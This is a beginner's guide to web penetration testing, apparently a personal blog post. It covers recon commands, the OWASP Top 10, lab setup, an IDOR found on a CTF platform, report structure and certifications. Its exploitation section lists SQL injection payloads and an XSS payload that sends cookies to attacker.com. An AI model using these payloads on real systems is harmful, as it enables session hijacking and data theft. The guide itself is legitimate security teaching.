Complete Guide to Web Penetration Testing - From Beginner to Pro

As a cybersecurity enthusiast and aspiring penetration tester, I've spent countless hours learning about web application security. In this comprehensive guide, I'll share my journey and the methodologies I use to identify vulnerabilities in web applications.

🎯 What is Web Penetration Testing?

Web penetration testing (pentesting) is the practice of testing web applications to find security vulnerabilities that an attacker could exploit. It's essentially "ethical hacking" - we hack systems with permission to help organizations improve their security.

🔍 The Penetration Testing Methodology

Phase 1: Reconnaissance

The first phase involves gathering information about the target:

Passive Reconnaissance:

• WHOIS lookups
• DNS enumeration
• Google dorking
• Social media research
• Shodan searches

Active Reconnaissance:

• Port scanning with Nmap
• Directory brute-forcing
• Technology fingerprinting
• Subdomain enumeration

# Example: Basic Nmap scan
nmap -sV -sC -p- target.com
 
# Subdomain enumeration with subfinder
subfinder -d target.com -o subdomains.txt

Phase 2: Vulnerability Assessment

After reconnaissance, we identify potential vulnerabilities:

OWASP Top 10 Vulnerabilities

1. Broken Access Control - Users accessing unauthorized resources
2. Cryptographic Failures - Weak encryption, exposed sensitive data
3. Injection - SQL, NoSQL, OS, LDAP injection attacks
4. Insecure Design - Flawed architecture and design patterns
5. Security Misconfiguration - Default configs, unnecessary features
6. Vulnerable Components - Outdated libraries and frameworks
7. Authentication Failures - Weak passwords, session management
8. Software & Data Integrity Failures - Insecure CI/CD pipelines
9. Security Logging Failures - Insufficient monitoring
10. Server-Side Request Forgery (SSRF) - Manipulating server requests

Phase 3: Exploitation

This is where we actually test the vulnerabilities:

SQL Injection Example

-- Basic SQLi payload
' OR '1'='1' --
 
-- Union-based SQLi
' UNION SELECT username, password FROM users --
 
-- Time-based blind SQLi
' AND SLEEP(5) --

Cross-Site Scripting (XSS)

// Reflected XSS
<script>alert('XSS')</script>
 
// Stored XSS with cookie theft
<script>
fetch('https://attacker.com/steal?c='+document.cookie)
</script>
 
// DOM-based XSS
javascript:alert(document.domain)

🛠️ Essential Pentesting Tools

My Favorite Tools

Setting Up Your Lab

I recommend setting up a home lab for practice:

1. Kali Linux - The go-to pentesting OS
2. DVWA - Damn Vulnerable Web Application
3. OWASP WebGoat - Learning platform
4. HackTheBox - Online CTF platform
5. TryHackMe - Beginner-friendly challenges

🔐 Real-World Vulnerability I Found

During one of my practice sessions on a CTF platform, I discovered an interesting IDOR (Insecure Direct Object Reference) vulnerability:

Original URL: /api/user/profile?id=1234
Modified URL: /api/user/profile?id=1235

By simply changing the user ID, I could access other users' profiles - a classic broken access control vulnerability!

📋 Penetration Testing Report Template

A good pentest report should include:

1. Executive Summary - High-level findings for management
2. Scope & Methodology - What was tested and how
3. Findings - Detailed vulnerability descriptions
4. Risk Ratings - CVSS scores and impact assessment
5. Remediation - How to fix each vulnerability
6. Appendices - Evidence, screenshots, logs

🎓 Certifications I'm Pursuing

• CEH - Certified Ethical Hacker
• OSCP - Offensive Security Certified Professional
• eJPT - eLearnSecurity Junior Penetration Tester
• CompTIA Security+ - Foundation certification

💡 Tips for Beginners

1. Start with basics - Learn networking, Linux, and programming
2. Practice legally - Use CTF platforms and labs
3. Document everything - Keep notes and write reports
4. Join communities - Discord servers, forums, Twitter
5. Stay ethical - Always get proper authorization

🚀 What's Next?

I'm currently working on:

• Building automated vulnerability scanners
• Contributing to bug bounty programs
• Creating security awareness content
• Developing IoT security research

Remember: With great power comes great responsibility. Always hack ethically and legally!

Interested in cybersecurity? Feel free to reach out and connect! Let's learn together.